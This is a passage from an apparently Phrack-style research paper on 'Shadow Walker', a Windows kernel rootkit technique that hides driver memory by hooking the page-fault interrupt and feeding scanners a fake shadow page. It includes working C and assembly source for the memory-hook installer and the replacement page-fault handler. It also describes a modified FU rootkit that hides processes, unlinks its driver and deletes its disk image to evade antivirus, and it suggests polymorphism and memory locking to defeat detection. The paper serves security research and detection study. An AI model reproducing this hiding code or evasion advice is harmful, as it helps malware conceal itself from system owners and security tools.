overflow attacks.  When a PaX protected system detects an attempted execute 
in a read / write only range of memory, it terminates the offending        
process. Hardware support for non executable memory has subsequently been  
added to the page table entry format for some processors including IA-64
and pentium 4.  In contrast to PaX, our rootkit handler allows              
execution to proceed normally while diverting  read / write accesses to     
the hidden page off to an innocent appearing shadow page. Finally, it should
be noted that PaX uses the PTE user / supervisor bit to generate the
page faults required to enforce its protection. This limits it to protection
of solely user mode pages which is an impractical limitation for a
kernel mode rootkit. As such, we use the PTE present / not present bit
in our implementation.      
      
----[ 3.4 - Proof Of Concept Implementation                                
      
Our current implementation uses a modified FU rootkit and a new page fault 
handler called Shadow Walker. Since FU alters kernel data structures to    
hide processes and does not utilize any code hooks, we only had to be      
concerned with hiding the FU driver in memory. The kernel accounts for     
every process running on the system by storing an object called an EPROCESS 
block for each process in an internal linked list. FU disconnects the      
process it wants to hide from this linked list. 
      
------[ 3.4.a - Modified FU Rootkit                                        
      
We modified the current version of the FU rootkit taken from rootkit.com.  
In order to make it more stealthy, its dependence on a userland            
initialization program was removed. Now, all setup information in the form 
of OS dependant offsets are derived with a kernel level function. By       
removing the userland portion, we eliminated the need to create a symbolic 
link to the driver and the need to create a functional device, both of     
which are easily detected. Once FU is installed, its image on the file    
system can be deleted so all anti-virus scans on the file system will fail 
to find it. You can also imagine that FU could be installed from a kernel 
exploit and loaded into memory thereby avoiding any image on disk          
detection. Also, FU hides all processes whose names are prefixed with     
_fu_ regardless of the process ID (PID). We create a System thread that  
continually scans this list of processes looking for this prefix. FU and  
the memory hook, Shadow Walker, work in collusion; therefore, FU relies on  
Shadow Walker to remove the driver from the linked list of drivers in      
memory and from the Windows Object Manager's driver directory.             
      
----[ 3.4.b - Shadow Walker Memory Hook Engine                             
      
Shadow Walker consists of a memory hook installation module and a new page 
fault handler.  The memory hook module takes the virtual address of the    
page to be hidden as a parameter.  It uses the information contained in the 
address to perform a few sanity checks. Shadow Walker then installs the new
page fault handler by hooking Int 0E (if it has not been previously 
installed) and inserts the information about the hidden page into a hash 
table so that it can be looked up quickly on page faults. Lastly, the PTE 
for the page is marked non present and the TLB entry for the hidden page 
is flushed.  This ensures that all subsequent accesses to the page are 
filtered by the new page fault handler. 

/*************************************************************************  
* HookMemoryPage - Hooks a memory page by marking it not present           
*                  and flushing any entries in the TLB. This ensure        
*                  that all subsequent memory accesses will generate       
*                  page faults and be filtered by the page fault handler.  
*     
* Parameters:                                                              
*      PVOID pExecutePage - pointer to the page that will be used on 
*                           execute access
*                                                        
*      PVOID pReadWritePage - pointer to the page that will be used to load 
*                             the DTLB on data access              *        
*                            
*      PVOID pfnCallIntoHookedPage - A void function which will be called  
*                                    from within the page fault handler to 
*                                    to load the ITLB on execute accesses  
*
*      PVOID pDriverStarts (optional) - Sets the start of the valid range 
*                                       for data accesses originating from 
*                                       within the hidden page. 
*                 
*      PVOID pDriverEnds (optional) - Sets the end of the valid range for  
*                                     data accesses originating from within
*                                     the hidden page.                    
* Return - None                                                            
**************************************************************************/ 
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage, 
                     PVOID pfnCallIntoHookedPage, PVOID pDriverStarts, 
                     PVOID pDriverEnds )                          
{                   
        HOOKED_LIST_ENTRY HookedPage = {0};                                 
        HookedPage.pExecuteView = pExecutePage;                             
        HookedPage.pReadWriteView = pReadWritePage;                        
        HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;           
        if( pDriverStarts != NULL)                                          
           HookedPage.pDriverStarts = (ULONG)pDriverStarts;           
        else 
           HookedPage.pDriverStarts = (ULONG)pExecutePage;  

        if( pDriverEnds != NULL)
           HookedPage.pDriverEnds = (ULONG)pDriverEnds;                             
        else                                                               
        {       //set by default if pDriverEnds is not specified           
                if( IsInLargePage( pExecutePage ) )                        
                   HookedPage.pDriverEnds = 
                   (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE; 
                else          
                   HookedPage.pDriverEnds = 
                   (ULONG)HookedPage.pDriverStarts + PAGE_SIZE;       
        }//end if                                                          
        
        __asm cli //disable interrupts                                     
        
        if( hooked == false )                                              
        {      HookInt( &g_OldInt0EHandler, 
                      (unsigned long)NewInt0EHandler, 0x0E ); 
               hooked = true;                                              
        }//end if                                                          
        
        HookedPage.pExecutePte = GetPteAddress( pExecutePage );            
        HookedPage.pReadWritePte = GetPteAddress( pReadWritePage ); 
       
        //Insert the hooked page into the list                             
        PushPageIntoHookedList( HookedPage ); 
                             
        //Enable the global page feature    
        EnableGlobalPageFeature( HookedPage.pExecutePte );                 
        
        //Mark the page non present                                        
        MarkPageNotPresent( HookedPage.pExecutePte );  
                    
        //Go ahead and flush the TLBs.  We want to guarantee that all      
        //subsequent accesses to this hooked page are filtered 
        //through our new page fault handler.                              
        __asm invlpg pExecutePage       
                                   
        __asm sti //reenable interrupts                             
}//end HookMemoryPage  
                                                    
The functionality of the page fault handler is relatively straight forward 
despite the seeming complexity of the scheme.  Its primary functions are 
to determine if a given page fault is originating from a hooked page, 
resolve the access type, and then load the appropriate TLB. As such, the 
page fault handler has basically two execution paths.  If the page is 
unhooked, it is passed down to the operating system page fault handler. 
This is determined as quickly and efficiently as possible.  Faults 
originating from user mode addresses or while the processor is running in 
user mode are immediately passed down. The fate of kernel mode accesses is 
also quickly decided via a hash table lookup. Alternatively, once the page 
has been determined to be hooked the access type is checked and directed to
the appropriate TLB loading code (Execute accesses will cause a ITLB load 
while Read / Write accesses cause a DTLB load). The procedure for TLB 
loading is as follows:
        
1. The appropriate physical frame mapping is loaded into the PTE for the   
   faulting address.                                                       
2. The page is temporarily marked present.                                 
3. For a DTLB load, a memory read on the hooked page is performed.         
4. For an ITLB load, a call into the hooked page is performed.             
5. The page is marked as non present again.                                
6. The old physical frame mapping for the PTE is restored.                 
      
After TLB loading, control is directly returned to the faulting code. 

                                                                
/**************************************************************************
* NewInt0EHandler - Page fault handler for the memory hook engine (aka. the
*                   guts of this whole thing ;) 
*                                                               
* Parameters - none                                             
*                                                               
* Return -      none                                            
*                                                               
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)                  
{                                                               
        __asm                                                   
        {                                                       
                pushad                                          
                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode        
                                                                
                test edx, 0x04 //if the processor was in user mode, then   
                jnz PassDown   //pass it down                              
                                                                
                mov eax,cr2     //faulting virtual address      
                cmp eax, HIGHEST_USER_ADDRESS                   
                jbe PassDown   //we don't hook user pages, pass it down    
                                                                
                ////////////////////////////////////////        
                //Determine if it's a hooked page               
                /////////////////////////////////////////       
                push eax                                        
                call FindPageInHookedList                       
                mov ebp, eax //pointer to HOOKED_PAGE structure            
                cmp ebp, ERROR_PAGE_NOT_IN_LIST                 
                jz PassDown  //it's not a hooked page           
                                                                
                ///////////////////////////////////////         
                //NOTE: At this point we know it's a            
                //hooked page. We also only hook                
                //kernel mode pages which are either            
                //non paged or locked down in memory            
                //so we assume that all page tables             
                //are resident to resolve the address           
                //from here on out.                             
                /////////////////////////////////////           
                mov eax, cr2                                    
                mov esi, PROCESS_PAGE_DIR_BASE                  
                mov ebx, eax                                    
                shr ebx, 22                                     
                lea ebx, [esi + ebx*4]  //ebx = pPTE for large page        
                test [ebx], 0x80        //check if its a large page
                jnz IsLargePage                                 
                                                                
                mov esi, PROCESS_PAGE_TABLE_BASE                
                mov ebx, eax                                     
                shr ebx, 12                                     
                lea ebx, [esi + ebx*4]  //ebx = pPTE            
                                                                
IsLargePage:                                                    
                                                                
                cmp [esp+0x24], eax     //Is due to an attepmted execute?
                jne LoadDTLB                                    
                                                                
                ////////////////////////////////                
                // It's due to an execute. Load                 
                // up the ITLB.                                 
                ///////////////////////////////                 
                cli                       
                or dword ptr [ebx], 0x01         //mark the page present 
                call [ebp].pfnCallIntoHookedPage //load the itlb         
                and dword ptr [ebx], 0xFFFFFFFE  //mark page not present 
                sti                                             
                jmp ReturnWithoutPassdown                       
                                                                
                ////////////////////////////////                
                // It's due to a read /write                    
                // Load up the DTLB                             
                ///////////////////////////////                 
                ///////////////////////////////                 
                // Check if the read / write                    
                // is originating from code                     
                // on the hidden page.                          
                ///////////////////////////////                 
LoadDTLB:                                                       
                mov edx, [esp+0x24]             //eip           
                cmp edx,[ebp].pDriverStarts                     
                jb LoadFakeFrame                                
                cmp edx,[ebp].pDriverEnds                       
                ja LoadFakeFrame                                
                                                                
                /////////////////////////////////               
                // If the read /write is originating            
                // from code on the hidden page,then            
                // let it go through. The code on the           
                // hidden  page will follow protocol            
                // to clear the TLB after the access.           
                ////////////////////////////////                
                cli                                             
                or dword ptr [ebx], 0x01           //mark the page present
                mov eax, dword ptr [eax]           //load the DTLB        
                and dword ptr [ebx], 0xFFFFFFFE    //mark page not present
                sti                                             
                jmp ReturnWithoutPassdown                       
                                                                
                /////////////////////////////////               
                // We want to fake out this read                
                // write. Our code is not generating            
                // it.                                          
                /////////////////////////////////               
LoadFakeFrame:                                                  
                mov esi, [ebp].pReadWritePte                    
                mov ecx, dword ptr [esi]            //ecx = PTE of the    
                                                    //read / write page   
                                                                
                //replace the frame with the fake one                     
                mov edi, [ebx]                                  
                and edi, 0x00000FFF //preserve the lower 12 bits of the   
                                    //faulting page's PTE                 
                and ecx, 0xFFFFF000 //isolate the physical address in     
                                    //the "fake" page's PTE               
                or ecx, edi                                     
                mov edx, [ebx]     //save the old PTE so we can replace it
                cli       
                mov [ebx], ecx    //replace the faulting page's phys frame
                                  //address w/ the fake one               
                                                                
                //load the DTLB                                 
                or dword ptr [ebx], 0x01   //mark the page present        
                mov eax, cr2               //faulting virtual address     
                mov eax, dword ptr[eax]    //do data access to load DTLB  
                and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present
                                                                
                //Finally, restore the original PTE             
                mov [ebx], edx                                  
                sti                                             
                                                                
ReturnWithoutPassDown:                                          
                popad                                           
                add esp,4                                       
                iretd                                           
                                                                
PassDown:                                                       
                popad                                           
                jmp g_OldInt0EHandler                           
                                                                
        }//end asm                                              
}//end NewInt0E                                                 

                                         
--[ 4 - Known Limitations & Performance Impact  
                           
As our current rootkit is intended only as a proof of concept
demonstration rather than a fully engineered attack tool, it possesses
a number of implementational limitations.  Most of this functionality 
could be added, were one so inclined.  First, there is no effort to
support hyperthreading or multiple processor systems.  Additionally, 
it does not support the Pentium PAE addressing mode which extends 
the number of physically addressable bits from 32 to 36. Finally, the
design is  limited to cloaking only 4K sized kernel mode pages 
(i.e. in the upper 2 GB range of the memory address space). We mention
the 4K page limitation because there are currently some technical 
issues with regard to hiding the 4MB page upon which ntoskrnl resides.
Hiding the page containing ntoskrnl would be a noteworthy extension.
In terms of performance, we have not completed rigorous testing, but
subjectively speaking there is no noticeable performance impact after 
the rootkit and memory hooking engine are installed.  For maximum 
performance, as mentioned previously, code and data should remain 
on separate pages and the usage of global data should be minimized 
to limit the impact on performance if one desires to enable both 
data and executable page cloaking. 

--[ 5 - Detection

There are at least a few obvious weaknesses that must be dealt with to
avoid detection. Our current proof of concept implementation does not 
address them, however, we note them here for the sake of completeness. 
Because we must be able to differentiate between normal page faults and 
those faults related to the memory hook, we impose the requirement that
hooked pages must reside in non paged memory. Clearly, non present pages
in non paged memory present an abnormality. Weather or not this is a 
sufficient heuristic to call a rootkit alarm is, however, debatable.  
Locking down pagable memory using an API like MmProbeAndLockPages is 
probably more stealthy. The next weakness lies in the need to disguise 
the presence of the page fault handler.  Because the page where the page  
fault handler resides cannot be marked non present due to the obvious 
issues with recursive reentry, it will be vulnerable to a simple signature 
scan and must be obsfucated using more traditional methods. Since this 
routine is small, written in ASM, and does not rely upon any kernel API's, 
polymorphism would be a reasonable solution.  A related weakness  
arises in the need to disguise the presence of the IDT hook. We cannot use 
our memory hooking technique to disguise the modifications to the  
interrupt descriptor table for similar reasons as the page fault handler. 
While we could hook the page fault interrupt via an inline hook rather
than direct IDT modification, placing a memory hook on the page 
containing the OS's INT 0E handler is problematic and inline hooks 
are easily detected. Joanna Rutkowska proposed using the debug registers 
to hide IDT hooks [5], but Edgar Barbosa demonstrated they are not a
completey effective solution [12]. This is due to the fact that debug 
registersprotect virtual as opposed to physical addresses. One may simply
remap the physical frame containing the IDT to a different virtual address
and read / write the IDT memory as one pleases. Shadow Walker falls prey 
to this type of attack as well, based as it is, upon the exploitation 
of virtual rather than physical memory. Despite this aknowleged 
weakness, most commercial security scanners still perform virtual 
rather than physical memory scans and will be fooled by rootkits like 
Shadow Walker.  Finally, Shadow Walker is insidious. Even if a scanner 
detects Shadow Walker, it will be virtually helpless to remove it on a 
running system. Were it to successfully over-write the hook with the
original OS page fault handler, for example, it would likely BSOD the 
system because there would be some page faults occurring on the hidden
pages which neither it nor the OS would know how to handle.
                                                           
--[ 6 - Conclusion                                                     
      
Shadow Walker is not a weaponized attack tool. Its functionality is 
limited and it makes no effort to hide it's hook on the IDT or its page
fault handler code. It provides only a practical proof of concept 
implementation of virtual memory subversion. By inverting the defensive
software implementation of non executalbe memory, we show that it is
possible to subvert the view of virtual memory relied upon by the 
operating system and almost all security scanner applications. Due to its
exploitation of the TLB architecture, Shadow Walker is transparent and 
exhibits an extremely light weight performance hit.  Such characteristics
will no doubt make it an attractive solution for viruses, worms, and 
spyware applications in addition to rootkits.      
      
--[ 7 - References 

1. Tripwire, Inc. http://www.tripwire.com/
2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July, 
   2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/
   bh-us-04-butler.pdf
3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12
4. Holy Father, Hacker Defender. http://hxdef.czweb.org/
5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder
   2. January, 2004.
6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows 
   Kernel. July, 2005. 
7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: 
   www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): 
   www.fsecure.com/blacklight/
9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0
   http://www.eeye.com/~data/publish/whitepapers/research/
   OT20050205.FILE.pdf
10. Chong, S.K. Windows Local Kernel Exploitation. 
    http://www.bellua.com/bcs2005/asia05.archive/
    BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt
11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: 
    Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security
    Symposium 2004. 
12. Barbosa, Edgar. Avoiding Windows Rootkit Detection
    http://packetstormsecurity.org/filedesc/bypassEPA.pdf
13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003
    http://www.invisiblethings.org/papers/chameleon_concepts.pdf 
14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth 
    Edition.           

--[ 8 - Aknowlegements

Thanks and aknowlegements go to Joanna Rutkowska for her Chamelon Project 
paper as it was one of the inspirations for this project, to the PAX team
for showing how to desynchronize the TLB in their software implementation
of non executable memory, to Halvar Flake for our inital discussions 
of the Shadow Walker idea, and to Kayaker for helping beta test and debug
some of the code. We would finally like to extend our greetings to
all of the contributors on rootkit.com :)                                  
      
|=[ EOF ]=---------------------------------------------------------------=|